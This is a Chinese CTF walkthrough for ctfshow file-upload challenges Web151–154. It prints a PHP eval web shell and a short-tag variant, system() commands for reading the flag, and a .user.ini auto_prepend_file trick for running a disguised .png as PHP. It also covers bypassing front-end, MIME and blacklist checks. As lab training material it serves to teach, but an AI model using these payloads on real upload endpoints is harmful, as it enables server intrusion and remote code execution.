ctfshow(151->154)--文件上传漏洞--.user.ini

Web151

进入界面:

审计:

提示是前台校验。

存在图片上传。

思路:

先编写一个一句话木马文件:

php 复制代码
//shell.php
<?php @eval($_POST[1]); ?>

既然是前端校验,我们查看页面源代码找到相关的校验内容:

说明只允许上传.png后缀的文件。

我们修改代码为允许上传.php文件:
然后上传一句话木马文件:

进入shell.php文件,POST传参1=system("ls ../");查看上一级目录,发现flag.php

php 复制代码
1=system("cat ../fla*");

得到flag.

Web152

进入界面:

审计:

在前端校验的基础上,增加了对请求头中Content-Type的验证。也称MIME验证。

思路:

先绕过前端验证。

可以和上一题一样修改前端代码,也可以将shell.php文件的后缀名修改为.png通过前端验证,然后抓包将文件的后缀名修改回去。也绕过了前端验证。

由于我们是以.png后缀上传的,所以Content-Type的值是image/png,符合服务端要求,文件成功上传。

执行系统命令:

php 复制代码
1=system("tac ../fl*");

得到flag.

Web153

进入页面:

审计:

前端验证+MIME验证+黑名单

思路:

上传.png后缀的木马,抓包修改回.php后缀:
发现文件不合规,说明后端对.php后缀名进行了过滤。

我们可以使用.user.ini文件,文件内容为:

php 复制代码
auto_prepend_file=shell.png

作用为:在访问主页文件时,会自动包含shell.png文件,将其文件内容当做php代码执行。

先将文件名修改为.user.ini.png,绕过前端验证,上传该文件,然后抓包修改:

然后用同样的方式绕过前端验证上传shell.png文件。

这时候我们在/upload处就可以实现RCE。也可以使用蚁剑连接:

找到flag.

Web154

进入界面:

审计:

前端验证+MIME验证+黑名单

思路:

上传.user.ini文件
上传shell.png文件
提示文件内容不合规。

php 复制代码
<?php @eval($_POST[1]);?> //文件内容

//怀疑是过滤了php,利用短标签绕过
<?= @eval($_POST[1]);?>

上传成功。蚁剑连接:

得到flag.

相关推荐
AmyLin_200110 小时前
PDF 脱敏技术【1】:PDF 脱敏不是盖黑框:为什么敏感信息仍能被复制,正确的保护方式是什么?
安全·pdf·sdk·脱敏·文档安全·pdf 脱敏·智能脱敏
hz5678912 小时前
视频会议终端品牌如何选择?主流产品特点与选型标准
安全·音视频·实时音视频·信息与通信
云水一下12 小时前
零基础玩转bWAPP靶场(五十一):XSS - Reflected (Login Form)
web安全·xss·bwapp·reflected·login form
蒲公英eric13 小时前
从布尔盲注到参数化查询:DVWA SQL 盲注模块完整漏洞分析教程
sql·web安全·ai·dvwa·ai安全·sql 盲注
FungLeo13 小时前
Flutter Web token 存储陷阱:crypto.subtle 在非安全上下文失效排查实录
前端·安全·flutter
上海云盾商务经理杨杨13 小时前
权限绕过漏洞渗透实战!突破登录验证访问后台功能
网络·安全
sbjdhjd14 小时前
大三网安秋招核心学习前言(AI 安全 + Web 漏洞 + 内网渗透全考点)
人工智能·网络协议·学习·安全·网络安全·开源·php
zbtlink15 小时前
路由器安全深度解析:从WPA3协议到自动化审计
网络·网络安全·智能路由器·wps
艺杯羹15 小时前
LLM越狱与安全护栏攻防大演进:从奶奶漏洞到输入输出双重检测模型
网络·安全·网络安全·ai·llm·大语言模型·ai安全
只吃不吃香菜16 小时前
Windows 下基于 YAML 规则的指定域名分流:以哔哩哔哩为例
网络·网络协议·计算机网络·网络安全·代理模式